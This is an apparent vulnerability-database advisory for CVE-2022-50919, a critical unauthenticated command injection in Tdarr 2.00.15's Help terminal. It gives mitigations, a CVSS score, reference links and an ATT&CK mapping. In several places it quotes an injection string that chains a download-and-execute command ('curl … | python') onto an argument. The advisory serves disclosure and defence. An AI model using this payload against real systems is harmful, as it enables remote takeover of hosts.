CVE-2022-50919
Published: 13 January 2026
Description
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to…
more
execute remote code without authentication.
Mitigating Controls (NIST 800-53 r5)AI
Directly mitigates the lack of input filtering in Tdarr's Help terminal by requiring validation of all inputs to prevent command injection chains like `--help; curl .py | python`.
Requires timely identification, reporting, and correction of the specific unauthenticated RCE flaw due to inadequate input sanitization.
Limits permitted actions without authentication specifically for public interfaces like the Help terminal to prevent unauthenticated command execution.
Security SummaryAI
CVE-2022-50919 is an unauthenticated remote code execution vulnerability affecting Tdarr version 2.00.15, specifically in its Help terminal. The flaw stems from a lack of input filtering, enabling command injection as classified under CWE-78. It carries a CVSS v3.1 base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), indicating critical severity due to its network accessibility, low complexity, and lack of prerequisites.
Remote attackers require no authentication or privileges to exploit the vulnerability. By crafting inputs that chain arbitrary commands, such as `--help; curl .py | python`, adversaries can inject and execute remote code on the target system. Successful exploitation grants high-impact control over confidentiality, integrity, and availability.
Advisories and additional details, including potential patches or mitigation guidance, are available from the vendor at https://tdarr.io, an exploit proof-of-concept at https://www.exploit-db.com/exploits/50822, and a vulnerability analysis at https://www.vulncheck.com/advisories/tdarr-command-injection. Security practitioners should consult these resources for remediation steps.
Details
- CWE(s)
Affected Products
MITRE ATT&CK Enterprise TechniquesAI
Why these techniques?
Unauthenticated RCE via command injection in the public-facing Tdarr Help terminal directly enables T1190: Exploit Public-Facing Application.